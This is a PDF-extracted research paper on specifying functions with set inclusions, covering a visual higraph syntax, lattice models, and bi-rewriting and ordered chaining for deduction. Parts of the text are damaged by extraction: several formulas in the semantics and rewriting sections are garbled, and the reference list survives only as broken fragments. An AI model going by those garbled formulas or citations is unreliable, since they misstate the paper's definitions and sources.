2024-12-10
|
2024-12-10
|
4a099d5e666548077db16ecaee34e5254d2c056e
|
Towards Specifying with Inclusions*
J. Agustí, J. Puigsegur and W. M. Schorlemmer
Institut d’Investigació en Intel·ligència Artificial (CSIC)
Campus de la UAB, E-08193 Bellaterra, Catalonia
e-mail: \{agusti, jpf, marco\}@iia.csic.es
Abstract
In this article we present a functional specification language based on inclusions between set expressions. Instead of computing with data individuals we deal with their classification into sets. The specification of functions and relations by means of inclusions can be considered as a generalization of the conventional algebraic specification by means of equations. The main aim of this generalization is to facilitate the incremental refinement of specifications. Furthermore, inclusional specifications admit a natural visual syntax which can also be used to visualize the reasoning process. We show that reasoning with inclusions is well captured by bi-rewriting, a rewriting technique introduced by Levy and Agustí [15]. However, there are still key problems to be solved in order to have executable inclusional specifications, necessary for rapid prototyping purposes. The article mainly points to the potentialities and difficulties of specifying with inclusions.
Keywords: diagrammatic reasoning, visual languages, declarative programming, formal specification.
1 Introduction
The systematic development of correct programs from complete formal specifications by means of verified refinement steps has attracted considerable effort [6]. Much less attention has been devoted to formal Requirements Engineering; i.e. the difficult process of creation of adequate formal and complete specifications from informal requirements. Specifications cannot be validated conclusively with respect to the real world, they can only be judged subjectively as adequate descriptions of a problem, maybe with the help of some theorem prover which computes consequences of the formulation. So formal specification languages to be widely used in Requirements Engineering [9], should not present undue difficulties of use and interpretation to the persons who create and read the specification, who usually are experts on the application domain and not programmers. This article is based
---
*This work is supported by the project DISCOR (TIC 94-0847-C02-01) funded by the CICYT
on the research done in our group on the Calculus of Refinements (COR), a functional specification language designed to shorten the distance between the informal description of a problem and its first formalization (preferably executable for rapid prototyping purposes). This research concentrates on an incremental approach to executable formal specification where preliminary specifications can be expressed in a notation accessible to non-specialists whilst providing clear points of refinement towards complete specifications in languages targeted to more specialized developers.
The basic and intuitive semantic notion of our language is that of set. Everything is viewed in some way as a set. Instead of dealing (reasoning or computing) with data individuals we work with their classification into types or sorts (also called classes, descriptions, approximations or concepts, depending on the area of interest). For instance, to handle numerical functions like in the example of Section 4.2, we create and reason with sorts like “nat” (for the set of natural numbers), “mult(nat)” (the multiples of naturals), etc. In our approach individuals are considered as a particular kind of set, namely as singletons. Even functions and relations are seen as sets of images (outputs) dependent on parameters which are also expressed as sets (sets of inputs). In Figure 3 of Section 2 we describe the ancestor relation and we consider it as a function returning the sets of ancestors of a given set of persons. Then, we give information about ancestor by giving subsets of it: for example the parents of the same persons. In this language set expressions are built as terms using constants, variables and function symbols. The formal details are given in the next section where we also show how these terms and formulas are represented in the alternative visual syntax of our set-based language.
The main predication on set expressions is the inclusion between them. To express the meaning of a set expression we give upper and lower bounds as superset and subset expressions, as can be seen in the example of Section 4.2. This specification of functions and relations by means of inclusions can be considered as a generalization of algebraic specifications by means of equations. The main aim of this generalization is to facilitate the incremental refinement of specifications. Inclusions can be seen as more expressive and flexible constraints than equations: upper and lower bounds can be successively refined by closer bounds towards an equality relation, usually between singleton expressions. The example about multiples of natural numbers in Section 4.2 shows briefly such kind of refinements.
Instead of a set-based language we could use the well known First Order Logic (FOL) to express the same information. However—we claim—that set expressions and inclusions provide frequently enough a more natural and less demanding sublanguage for non-logicians than the corresponding first order formulas. For instance, the simple inclusion \(\text{man} \subseteq \text{mortal}\) should be expressed in FOL as \(\forall x (\text{man}(x) \rightarrow \text{mortal}(x))\). The usual operations between set expressions, intersection and union, and the inclusion relation, we claim are easier to understand by non-logicians than the FOL connectives conjunction, disjunction and implication. It has also been shown in [18] how a similar set syntax for FOL has some advantages when automating deduction. Other similar taxonomic knowledge representation languages have also proved its methodological and technical superiority to deal with taxonomic knowledge, compared with FOL (see [17]). Furthermore,
Towards Specifying with Inclusions
a way to make these languages more accessible to non-logicians is by means of its diagrammatic representation. One of the advantages of set-based languages like ours is that they admit a natural diagrammatic representation similar to Venn diagrams. This diagrams can be used naturally to express information on functions, and also allow some kind of automatic reasoning to be performed on them, as we will see below.
Specifications based on inclusions showed interest in themselves from a theoretical point of view. Peter Mosses [20] was one of the first to consider them as a new framework, called unified algebras, for the algebraic specification of abstract data types. Independently we explored the same idea on a more general framework, that of higher order functional languages. The Calculus of Refinements (COR) we defined can be considered as an extension of λ-calculus with lattice operations where specifications are sets of inclusions between λ-terms [16]. In a series of papers and the doctoral thesis of J. Levy [13] we investigated the denotational semantics (the class of models of COR [1]) and its operational semantics based on rewrite techniques [14]. Based on this results we tried to use a first order version of COR as a requirements specification language in the framework of logic programming [22]. The present article tries to push this application a bit further. First by presenting a visual syntax based on higraphs, a topological diagrammatic formalism, as an alternative to the usual textual syntax. Second by showing the possibilities and difficulties of an executable specification language based on inclusions.
2 The Language
2.1 Syntax
As said in the introduction, our set-based language has a textual syntax and an alternative visual syntax. Effectively, the special features of our set-based functional language allow a direct topological visual representation. While the textual syntax of our language is similar to syntax used in many other equational logic languages, the visual syntax is a customization of higraphs, an open-ended topological formalism developed by David Harel [8]. Higraphs combine two well-known diagrammatic formalisms: graphs and Venn diagrams. A higraph is a graph whose nodes represent sets which are related by a binary relation: graphical inclusion. This diagrammatic language differs from traditional set-based diagrams, like Venn diagrams, in two ways: 1) It is possible to construct new sets by building compound terms through visual functional application. 2) It is also possible for an element or set of elements to be repeated in different places of the diagram at the same time. This is, if two boxes are graphically disjoint it does not imply that the associated sets are disjoint. The only relevant information in the diagrams is the graphical inclusion between boxes (sets) and circles (set variables) in boxes.
2.1.1 Terms
Terms are syntactically defined as usual in functional languages, with two extra constructors: union and intersection, and two extra elements: top and bottom.
Figure 1: The Symbols of the Visual Syntax
\[
f(X, g(X, a)) \quad f(X) \cup g(X) \quad f(a \cap g(X), X)
\]
Figure 2: Examples of Visual Terms
and bottom are not used by now in the visual syntax). All terms are interpreted as sets: constants and variables represent sets, and functions are extended over sets, i.e. they take them as arguments and return a set.
The construction of the corresponding visual terms as directed acyclic graphs (DAGs) is straightforward. In Figure 1, we show the graphical representation of nodes of the higraph (symbols). Circles denote sets which correspond to variables, while boxes denote sets associated to the other types of terms of the language. Every box is named after the outer-most function of the term it represents. Nodes are connected using arrows that point from the subterms to the node that represents the functor of the term. Arrows represent functional application. Note that in some DAG representations of terms, arrows go in the opposite direction. The reason of our way is that we want to stress the fact that functions map elements from the domain sets to elements of the image set. The structure of a term is therefore a DAG where nodes are boxes and circles, and circles do not have incoming arrows (the edges of the graph). In Figure 2 we show examples of visual terms together with their textual equivalents.
The graphical representation of terms using DAGs is one of the keypoints of our visual language. DAGs allow to share common parts of subterms, reducing the quantity of symbols in the visual terms. For instance, variables do not need to have
a name, and if they appear many times in a textual term, they will appear just once in the corresponding visual term, thus reducing the complexity of the term and making it easier to read in its visual form.
2.1.2 Formulas
An atomic formula of the textual specification language is an inclusion between terms, and a formula is either an atomic formula or an inclusional Horn Clause. They are defined in the following way:
**Definition 1 Formulas**
- an atomic formula is an inclusion, \( t_1 \subseteq t_2 \), where \( t_1 \) and \( t_2 \) are terms.
- a clause \( f \leftarrow f_1 \land f_2 \land \ldots \land f_n \) is a formula, where \( f, f_1, \ldots, f_n \) are atomic formulas and \( n \geq 1 \).
The basic units of our visual language—equivalent to formulas in the textual language—are diagrams. A diagram is the smallest complete unit of description and it is composed of various visual terms related by graphical inclusion. In every diagram there is a goal set term, which is the term that is being partially defined. To define a set term we indicate which are its subset terms. The goal set term is marked by drawing its box using thick lines. Therefore a diagram is usually equivalent to an inclusional clause where the head is the main inclusion—the goal-set inclusion—and the rest of graphical inclusions in the diagram is the body of the clause. In [21] we presented a variant of this visual language more addressed to declarative programming.
In Figure 3 we find three examples of visual formulas and their equivalent textual formulas, representing the relations grandparent, ancestor and descendant. Let's now examine how the examples of Figure 3 are constructed. In all three diagrams we are representing relations as functions over sets that return sets. In diagram (a) the grandparent relation is represented as a function that applied to a set \( X \) (of persons) returns the set \( \text{grandparent}(X) \) (of their grandparents). This relation is then defined by giving a subset of the image set: \( \text{parent} \left( \text{parent}(X) \right) \), i.e. "the parents of the parents of \( X \) are the grandparents of \( X \)." The functional notation allows us to compose relations, as it is done in this diagram applying twice the parent relation to the input set \( X \). Diagram (b) defines the ancestor relation by stating that "the parents of \( X \) and the ancestors of the parents of \( X \) are ancestors of \( X \)." Note that in the visual syntax a diagram can represent more than one clause when there is no conflict with the conditions of each clause. In this case, since there are no conditions, we can represent both clauses in a single diagram. Finally, diagram (c) defines the relation descendant, the inverse relation of ancestor.
2.2 Semantics
As we have said the attempted intuitive meaning of set terms are sets built from constant sets and function application on them. The meaning of term inclusions is the usual set inclusion meaning. However the class of models satisfying the inclusional Horn clauses is wider and more abstract. In the following we define this class of models, the satisfaction relation between models and formulas and the entailment relation between formulas. All of them are particular first order cases of the general class of COR models, COR satisfaction and entailment relations [1].
Let \( \Sigma \) be the set of constants and function symbols and \( \mathcal{V} \) the variables used to build our terms. \( \Sigma \) includes the constant symbols top \((\top)\) and bottom \((\bot)\) and the binary functions \( \cup \) and \( \cap \). A \( \Sigma \)-model \( \mathcal{A} \) consists of a set \( \mathcal{V} \) which is a lattice with \( \cup_A \) as join and \( \cap_A \) as meet, the element \( \top_A \) as top and the element \( \bot_A \) as bottom. Let \( \leq_A \) denote the partial order of the lattice. The other constant symbols \( C \in \Sigma \) are interpreted as elements \( C \in \mathcal{V} \) and the function symbols \( f \) of arity \( n \) as functions \( f_A : \mathcal{V} \to \mathcal{V} \). All functions \( f_A \) are monotone with respect to \( \leq_A \). Using the previous interpretation to each valuation of variables \( \rho : \mathcal{V} \to \mathcal{V} \) corresponds the homomorphic interpretation of terms on \( \mathcal{A} \) defined as usual: \( \Phi^\mathcal{A} : \mathcal{V} \to \mathcal{V} \). We say a model \( \mathcal{A} \) satisfies the formula \( t_1 \leq t_2 \), \( A \models \rho \) if \( \forall \rho : \mathcal{V} \to \mathcal{V} \) \( \Phi^\mathcal{A}(t_1) \leq \Phi^\mathcal{A}(t_2) \).
The satisfaction of an inclusional Horn clause by a model is defined using the standard interpretation of FOL connectives. The defined class of models has initial models isomorphic to the standard term model. Power set algebras and its subalgebras can be considered also as intuitive models of inclusional specifications. However, they are not initial models as has been shown in [20].
The entailment relation between a set of formulas \( I \) and a formula \( \phi \) is defined by the lattice axioms, the inclusion inference rules, reflexivity and transitivity; the variable substitution (replacement) and function monotonicity rules ; and the resolution rule [1]. This entailment relation so defined is not enough to mechanize the
deduction with inclusions, necessary to our goal of having executable specifications. The rest of the article focuses on this key problem showing the advances reached till now and the remaining problems.
3 Reasoning with Inclusions
In order to validate preliminary specifications one solution is, as mentioned in the introduction, to make a first implementation by rapid prototyping. We want therefore a specification to be executable, in order to verify properties on it. In this section we show the techniques for mechanizing the deduction in those logical theories underlying our specifications, namely in inclusional theories.
Recently it has been shown that term rewriting techniques, which have turned out to be among the more successful approaches to equational theorem proving, are suitable for defining specialized proof calculi for inclusional theories. It is well known that rewriting implicitly captures the transitivity and congruence properties of the equality relation in a natural way, and avoids the explicit use of the equality axioms, which pose severe problems in the design of efficient automated theorem provers. But, since rewrite rules rewrite terms in one direction, it is not only in reasoning with the equality relation where these techniques naturally apply, but in reasoning with arbitrary, possibly non-symmetric, transitive relations, as e.g. inclusions. In fact, Meseguer noticed that the logic underlying rewrite systems in not equational logic but rewriting logic [19]. Levy and August where the first in using techniques of term rewriting to define a decision procedure for theories with non-symmetric relations [14]. They generalized to inclusional theories the notions of confluence and termination of term rewrite systems based on equational theories, by introducing the so called bi-rewrite systems [15].
In the same sense in that the theory of rewrite systems has provided us with an efficient operational semantics for equational logic, its generalization to bi-rewriting will be a suitable basis for an operational semantics for our specification language based on inclusional theories.
3.1 Theorem proving with inclusions: Bi-rewrite systems and ordered chaining
The fundamental idea lying behind bi-rewrite systems is to orient a given set of inclusions, following a reduction ordering on terms. We get in this way two independent rewrite systems, one containing those rewrite rules which rewrite terms into “bigger” ones (with respect to the inclusion relation), and the other one containing rewrite rules which rewrite terms into “smaller” ones. We will distinguish the two separate rewrite relations by denoting the first one with \( \xrightarrow{\leq} \) and the second one with \( \xrightarrow{=} \). Consider for example the inclusional theory presentation \( I \) consisting of the following axioms:
\[
\begin{align*}
f(a, x) & \subseteq x \\
f(x, c) & \subseteq x \\
b & \subseteq f(a, c)
\end{align*}
\]
If we orient these inclusions, following e.g., a lexicographic path ordering based
on the signature precedence \( f \succ c \succ b \succ a \), we obtain the following two rewrite
systems:
\[
R_1 = \begin{cases}
f(a, x) &\xrightarrow{c} x \\
f(x, c) &\xrightarrow{c} x
\end{cases} \quad R_2 = \begin{cases}
f(a, c) &\xrightarrow{\neg c} b
\end{cases}
\]
We say that these two rewrite systems form a bi-rewrite system \( B = \langle R_1, R_2 \rangle \).
In order to have a decision procedure for the word problem of an inclusional
theory we need the bi-rewrite system to be convergent, i.e., it has to satisfy two prop-
ties: Church-Rosser and termination. The system is Church-Rosser if whenever
we have two terms \( s \) and \( t \) such that, \( I \vdash s \subseteq t \) a bi-rewrite proof between these
terms exists, consisting of two paths, one using rules of \( R_1 \) and the other using
rules of \( R_2 \), which join together in a common term:
\[
s \xrightarrow{c} \cdots \xrightarrow{c} u \xleftarrow{c} \cdots \xleftarrow{c} t
\]
The system is terminating, if no infinite sequences of rewrites with rules in \( R_1 \) (or
\( R_2 \)) can be built. Termination is guaranteed when the rewrite orderings defined
by \( R_1 \) and \( R_2 \) respectively are contained in a unique reduction ordering on terms.
Bi-rewrite systems fulfilling termination and the Church-Rosser property are said
to be convergent.
A decision procedure\(^4\) for the word problem in convergent bi-rewrite systems
is then straightforward: To check if \( I \vdash s \subseteq t \) we reduce \( s \) and \( t \) applying rewrite
rules of each rewrite system, and exploring all possible paths, until a common term
is reached:
\[
\begin{array}{c}
s \\
\mathcal{C} \\
\mathcal{C} \\
\mathcal{C} \\
\mathcal{C} \\
\mathcal{C} \\
\mathcal{C}
\end{array}
\quad \quad
\begin{array}{c}
u \\
\mathcal{C} \\
\mathcal{C} \\
\mathcal{C} \\
\mathcal{C} \\
\mathcal{C} \\
\mathcal{C}
\end{array}
\quad \quad
\begin{array}{c}
t \\
\mathcal{C} \\
\mathcal{C} \\
\mathcal{C} \\
\mathcal{C} \\
\mathcal{C} \\
\mathcal{C}
\end{array}
\]
The conditions put on the rewrite relations in order to guarantee termination
also avoid the possibility of infinite branching.
Convergent bi-rewrite systems finitely encode the reflective, transitive and mono-
tone closure of the inclusion relation \( \subseteq \): All possible consequences of a set of in-
clusions \( I \) using transitivity, reflexivity and monotonicity can be represented by a
bi-rewrite proof.
---
\(^1\)We refer to [7] for a survey on termination orderings.
\(^2\)To be rigorous we only need quasi-termination [14], but for the sake of simplicity, termination
is required.
\(^3\)The entailment relation \( I \vdash \) is defined by the reflexivity, transitivity and monotonicity inference
rules of the inclusion relation \( \subseteq \).
\(^4\)Actually it is a decision algorithm because of termination.
An arbitrary bi-rewrite system, obtained by orienting the inclusions of an inclusional theory presentation $I$ is non-convergent in general. But, like in the equational case, there exist necessary and sufficient conditions for a terminating bi-rewrite system to be Church-Rosser, which were stated by Levy and Agustí [15] adapting the original results of Knuth and Bendix [12]. Following the same ideas proposed by Knuth and Bendix, one can attempt to complete a non-convergent terminating bi-rewrite system, by means of adding new rewrite rules to the systems $R_1$ or $R_2$.
Within the context of resolution-based theorem proving with full first-order clauses there have been attempts to use additional inferences in order to avoid the transitivity axiom of arbitrary transitive relations, like paramodulation in first-order theories with equality. Slagle [24] introduced for these purposes the chaining inference rule. Chaining can be seen as the generalization of paramodulation for arbitrary transitive relations. As paramodulation, chaining has the drawback that it explicitly generates the transitive closure of the binary relation. But like ordering restrictions on the paramodulation inference have led to the superposition calculus [10, 4] (which in essence generalizes the computation of new equations during the Knuth-Bendix completion process), so ordering restrictions on the chaining inference rule take the advantages of rewrite techniques resulting from bi-rewrite systems, and avoid generating the whole closure using bi-rewrite proofs to prove the validity of a transitive relation. The result is the calculus presented by Bachmair and Ganzinger [5], which is based on the ordered chaining inference rule between two clauses:
Ordered Chaining:
\[
\frac{C \lor u < s \quad D \lor t < v}{C \sigma \lor D \sigma \lor u \sigma < v \sigma}
\]
where $\sigma$ is a most general unifier of $s$ and $t$, and the following ordering restrictions between terms, and literals hold: $u \sigma \not\in s \sigma$, $v \sigma \not\in t \sigma$, $u \sigma < s \sigma$ is the strictly maximal literal with respect to the rest $Cs$ of the clause, and $v \sigma < t \sigma$ is the strictly maximal literal with respect to the rest $Ds$ of the clause.\(^6\)
3.2 Towards an operational semantics: Some drawbacks for efficiency
In the same sense in that the theory of rewrite systems has provided us with an efficient operational semantics for equational logic, we are convinced that its generalization to bi-rewriting is a suitable basis for an operational semantics of a specification language based on inclusional theories. It is well known that if we want to use logic as a programming language we need to choose a suitable specialized proof system which will mark the difference between a hopeless theorem prover and an efficient programming language. The results on proof theory with arbitrary transitive relations are still too weak for defining powerful deduction strategies that may serve us for this purpose. Though we have seen that term rewriting is a suitable technique for reasoning with arbitrary transitive relations, several important differences to equational term rewriting appear, which are important for the practicability of deductions with inclusions.
\(^6\)Application of substitution $\sigma$ on terms, literals or clauses is denoted in postfix notation.
\(^{6*}\)It is possible to extend a simplification ordering on terms over literals and clauses (see [7]).
First of all, instead of dealing with a single rewrite relation we have to manage a bi-rewrite system. Furthermore, no rewriting within equivalence classes of terms is done, making a notion of unique normal form on which equational term rewriting is based, meaningless. Consequently the order of application of rewrite rules is now significant, making term rewriting don’t know nondeterministic: backtracking is needed for a rewrite proof to be found.
But the most important difference to the equational case, in the sense of practicability of the inference system, appears when reasoning with functions which are monotonic with respect to the transitive relation, which is the case in our specification language. Besides chaining on proper subterms also variable subterm chaining is necessary which leads to a quite inefficient proof calculus if completeness results are wanted.
It is therefore necessary to restrict this general ordered chaining calculus if we want to avoid prolific first-order variable subterm chaining. As we will see later a way to improve the efficiency of the inference system is by studying certain algebraic structures, which can help us to consider only certain cases of variable subterm chaining. It is known, e.g. that in dense total orderings without endpoints, variable chaining can be avoided completely [3].
For a more extended survey on the state of the art of theorem proving with transitive relations we refer to [23].
3.3 Visually solving queries
As mentioned in section 2.1, our visual notation is based on using graphical set inclusion between diagrams instead of implication. The transitivity of the inclusion relation, which is also implicit in the chaining inference rule is trivially captured in our diagrams. It is therefore not surprising that inferences based on chaining are well presented in our visual notation. In other words, we can visually show the operational behaviour of the query solving process within our graphically stated specifications.
We sketch some of our ideas through an example: Given the visual specification of Figure 4, suppose we want to know, who are the grandparents of Charly. We express this query with the query diagram of Figure 5 (a). It differs from ordinary diagrams in that no box is marked by thick lines (because we are not defining a function) and that the unknown variables to be computed are noted with an interrogation mark. Queries are existentially quantified and solved by refuting their negation. This is achieved by transforming a query diagram into an answer diagram applying visual inferences. The idea behind this diagram transformation is to complete the query with the trace of its proof, and with the instantiation of its unknown variables. This query solving process is shown in Figure 5.
First, we match the *grandparent* box with its definition in Figure 4. The circle—the argument of grandparent—matches box *charly*, and the boxes referring to *parent* are added to the query diagram giving diagram (b). This inference step is actually a chaining step, since we are going to prove the existence of a subset in the *grandparent* box by means of its membership in the *parent* box contained in it. Therefore we place the unknown variable within the *parent* box. Next we match
the parent(\textit{charly}) box with its definition in Figure 4. This step corresponds to an ordinary resolution step and leads to diagram (c). In order to further solve the query we use the monotonicity property of function \textit{parent} with respect to set inclusion: Since \textit{bob} is subset of parent(\textit{charly}), \textit{parent} applied to \textit{bob} is a subset of parent applied to parent(\textit{charly}). The same happens to \textit{parent} applied to \textit{anna}. In fact, there are two alternatives to further compute the grandparents of Charly, and we choose to represent both in one single diagram (d). This corresponds to a breadth-first strategy. The unknown variable appears twice, showing that maybe two possible solutions can be computed. In this case the inference step are actually chaining steps, since we again are going to proof the existence of a subset in the parent(parent(\textit{charly})) box by means of its membership in the parent(\textit{bob}) or parent(\textit{anna}) box contained in it. Further transformation by resolution brings us finally to answer diagram (e), where the original unknown variable appears fully instantiated, presenting in this case four different solutions to the original query, namely that John, Mary, Tom and Sally are grandparents of Charly.
Several advantages of the visual notation are present in this simple example: We can keep the trace of the proof in our diagram during the query solving process in an elegant way, and different alternative answers can easily be presented within one single diagram. We are still in the very beginning of giving an operational semantics to our specification paradigm, and there is a lot to be explored about these or other advantages of the visual notation and its resulting open questions, as well as about the chaining-based operational semantics of our language.
4 Executing Specifications
We have seen in the previous section that it is necessary to restrict in some way the general ordered chaining calculus if we want to avoid some of the major drawbacks for efficient computation. One way to improve this is by studying certain algebraic structures. This options appears to be more promising, since several specification frameworks based on partial orders are based on specific algebraic structures.
4.1 A language based on lattices
As mentioned in section 2.2 the models of our specifications are lattices. Other specification paradigms are also based on lattices as e.g. Mosses' unified algebras [20]. Completion of the inclusion theory of free lattices to a convergent bi-rewrite system is possible [13], and this fact suggests to consider the properties of this specific algebraic structure for improving the deduction with inclusions. However, this approach is not useful enough for a practical use of inclusions, as we will see later.
Lattices have also been chosen as interpretations for a variety of much more concrete logic programming languages, in which partial orders play a central role. Ait-Kaci and Podelski make use of order-sorted feature terms as basic data structure of the programming language LIFE [2], generalizing in this way the flat first-order terms normally used as unique data structure in logic programming. An
order-sorted feature term is a compact way to represent the collection of elements of a given non-empty domain which satisfy the constraint encoded by the term, and therefore may be interpreted itself as a sort, like in unified algebras or in COR, being LIFE one of the first proposals of sorts as values. Algebraically, a term denotes an element of a meet semi-lattice with a top $\top$ and a bottom $\bot$, which in essence is a subalgebra of the power set of the considered domain. But, deduction in LIFE is quite poor, because of the restricted use of terms within the definition of the partial order. Deduction reduces to unification of order-sorted feature terms and can be seen as the meet operation in the semi-lattice. It is performed by normalizing the conjunction of the constraints encoded in the terms to be unified, and is equivalent to intersecting the collections of elements the terms represent.
Also Jayaraman, Osorio and Moon base their partial order programming paradigm on a lattice structure, and are specially interested in the complete lattice of finite sets [11]. In their paradigm they pursue the aim to integrate sets into logic programming, and to consider them as basic data structure on which the paradigm relies. But in this framework no deduction mechanisms are given to validate order related functional expressions.
4.2 Functions as sort constructing operators
But besides efficiency issues, it is also necessary to think about how functional expressions are supposed to be evaluated, whenever functions are specified by axioms with partial orders instead of equations, as for example the following preliminary specification of the mult function, which given a set of natural numbers returns the set of their multiples\footnote{This example may serve only to clarify our intuitions; it isn't in any way a satisfactory specification of the multiple function.}. Constant \textit{nat} denotes the sort of all natural numbers:
$$\begin{align*}
\text{mult(nat)} & \subseteq \text{nat} \\
\text{mult(nat)} & \supseteq \text{nat} \times \text{nat}
\end{align*}$$
The first axiom specifies the function's type, while the second one gives a first approximation of its computational behaviour. A further refinement of both axioms could be as follows:
$$\begin{align*}
\text{mult}(X) & \subseteq \text{nat} & \Leftrightarrow & & X \subseteq \text{nat} \\
\text{mult}(X) & \supseteq X \times \text{nat} & \Leftrightarrow & & X \subseteq \text{nat}
\end{align*}$$
As said in the introduction, our aim during the refinement process, is to ultimately specify how the function will operate on elements. An additional refinement to the second axioms will suffice for this purpose:
$$\begin{align*}
\text{mult}(X) & \supseteq X \times Y & \Leftrightarrow & & X \subseteq \text{nat} \land Y \subseteq \text{nat}
\end{align*}$$
Recall that when rewriting is done on an arbitrary transitive relation, no rewriting inside equivalence classes of terms is done, and therefore, in a purely inclusion
programming language, function evaluation cannot be seen as normal form computation by reduction. Furthermore, rewriting on non-symmetric transitive relations becomes don't know nondeterministic.
In the approach followed by LIFE, functions are defined by rewrite rules to be interpreted as equations, as usual, and therefore expressions are reduced by equational rewriting to their normal forms. Maybe if we use partial orders to constrain functions we could exploit the semi-lattice structure of LIFE terms in order to not only evaluate functional expressions, but also to use them as new sort definitions, much more in the spirit of unified algebras or the calculus of refinements. For example, we would like expression \( \text{div}(Y) \) to represent the sort of those elements that are the divisors of elements in \( Y \) (for this to have sense \( Y \) should be subset of \( \text{nat} \)). Such a sort expression would be useful, e.g. to add to the definition of function \( \text{mult} \) the following axiom:
\[
\text{mult}(X) \supseteq Y \iff Y \subseteq \text{nat} \land X \subseteq \text{div}(Y)
\]
Functions would be then, besides user-defined functions, also sort constructing operators. In such a context rewriting of functional expressions becomes a kind of sort checking, because now our interest would lie on knowing which are the upper or lower bounds of the functional expression, and in this way to check the correctness of the performed refinement steps. For instance, we would like to infer that, given a natural number \( k \) (i.e. \( k \) is a singleton set such that \( k \subseteq \text{nat} \)), \( k \subseteq \text{mult}(k) \subseteq \text{nat} \). But, though we have studied specific theorem proving techniques in order to perform such sort checking (see Section 3.1), we still lack of specific methodologies for doing so.
In Jayaraman's et al. partial order programming paradigm, though orders are used explicitly for the definition of functions, functional expressions are equated to the greatest lower bound (or least upper bound) of all irreducible terms reached by rewriting on the partial order on which the functions are defined. These terms must be expressed by constructors of a previously fixed lattice structure, and usually will be set expressions. As in LIFE, functions themselves cannot be used as sort constructing operators. Therefore, the use of partial orders in this paradigm appears simply to be an elegant and compact way to define functions on the given lattice. Functional expressions are ultimately equated to specific terms built with these lattice constructors.
We think that the main drawback of the view that all functions are sort constructing operators, and of functional evaluation interpreted as the computation of lower and upper bounds, is that the behaviour of this computation is not clear to the programmer. In order to have an executable specification language based on inclusion theories, we must be able to see from the structure of the specification, i.e. from the axioms expressed as inclusions, how the computation will be done. With the knowledge up to now about deduction with arbitrary transitive relations, we are still too close to the definition of a theorem prover for inclusion theories without any concrete strategy and methodology, and therefore being far away from having an efficient operational semantics for our specification language.
5 Conclusions
Our aim has been to show that inclusions are in principle a flexible and expressive language for preliminary specification. They are a generalization of equations (the conventional specification language for abstract data types) and have a communicatory visual syntax to represent and reason with information about functions.
Very limited uses of inclusions have been proposed in the area of declarative programming. The use of inclusions proposed in this article goes much further. On the one hand, inclusions facilitate the incremental refinement of specifications, from typing information given by upper bounds to partial computing information by lower bounds. They can be successively refined by closer bounds toward equality specifications restricted on singletons. On the other hand, inclusions have a natural visual syntax which can also be used to capture and represent the reasoning process in a compact way.
Because our ultimate goal is to have executable inclusional specifications we have reviewed the state of the art in automatic deduction with inclusions. We have seen that reasoning with inclusions is well captured by bi-rewriting. But the prolific variable subterm chaining inference, which is required for the completeness of the calculus, is an important drawback for finding an efficient operational semantics for an executable specification language based on inclusions. It is therefore necessary to restrict this general ordered chaining calculus. Future work will focus mainly on restricting the language, finding clear strategies for the deduction in inclusional theories, and defining specific methodologies for solving problems by means of inclusions, that will make us shift towards the specific paradigm we pursue.
Acknowledgements
We acknowledge D. Robertson and J. Levy for their collaboration in the work presented in this article.
References
Research Report 93.05, Institut für Informatik der Universität Zürich, 1993.
proving strategies: The transfinite semantic tree method. Journal of the ACM,
Inclusions. PhD thesis, Departament de Llenguatges i Sistemes Informàtics,
[14] J. Levy and J. Agustí. Bi-Rewriting, a Term Rewriting Technique for Mono-
tonic Order Relations. In C. Kirchner, editor, Rewriting Techniques and Ap-
1996. To be published.
λ-calculus with refinements. Technical Report ECS-LFCS-91-188, Laboratory
Research Paper DAI-593, Department of Artificial Intelligence, University of
inference. In Proc. of the First Int. Conf. on Principles of Knowledge Represent-
Towards Specifying with Inclusions
|
{"Source-Url": "https://upcommons.upc.edu/bitstream/handle/2099/3492/Agust%C3%AD.pdf?isAllowed=y&sequence=1", "len_cl100k_base": 8852, "olmocr-version": "0.1.50", "pdf-total-pages": 17, "total-fallback-pages": 0, "total-input-tokens": 82148, "total-output-tokens": 10948, "length": "2e13", "weborganizer": {"__label__adult": 0.00041961669921875, "__label__art_design": 0.0006017684936523438, "__label__crime_law": 0.00044155120849609375, "__label__education_jobs": 0.0009851455688476562, "__label__entertainment": 0.00012034177780151369, "__label__fashion_beauty": 0.00022852420806884768, "__label__finance_business": 0.0003428459167480469, "__label__food_dining": 0.0006127357482910156, "__label__games": 0.0006771087646484375, "__label__hardware": 0.0009403228759765624, "__label__health": 0.0008335113525390625, "__label__history": 0.00036406517028808594, "__label__home_hobbies": 0.00014781951904296875, "__label__industrial": 0.0008153915405273438, "__label__literature": 0.0007295608520507812, "__label__politics": 0.0003578662872314453, "__label__religion": 0.0007510185241699219, "__label__science_tech": 0.1094970703125, "__label__social_life": 0.00014293193817138672, "__label__software": 0.00827789306640625, "__label__software_dev": 0.87158203125, "__label__sports_fitness": 0.00032901763916015625, "__label__transportation": 0.0007829666137695312, "__label__travel": 0.0002287626266479492}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 44354, 0.03147]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 44354, 0.58876]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 44354, 0.90391]], "google_gemma-3-12b-it_contains_pii": [[0, 2318, false], [2318, 6014, null], [6014, 9112, null], [9112, 10723, null], [10723, 12187, null], [12187, 16080, null], [16080, 19044, null], [19044, 22028, null], [22028, 25516, null], [25516, 27521, null], [27521, 28802, null], [28802, 32070, null], [32070, 35088, null], [35088, 38520, null], [38520, 41032, null], [41032, 43358, null], [43358, 44354, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2318, true], [2318, 6014, null], [6014, 9112, null], [9112, 10723, null], [10723, 12187, null], [12187, 16080, null], [16080, 19044, null], [19044, 22028, null], [22028, 25516, null], [25516, 27521, null], [27521, 28802, null], [28802, 32070, null], [32070, 35088, null], [35088, 38520, null], [38520, 41032, null], [41032, 43358, null], [43358, 44354, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 44354, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 44354, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 44354, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 44354, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 44354, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 44354, null]], 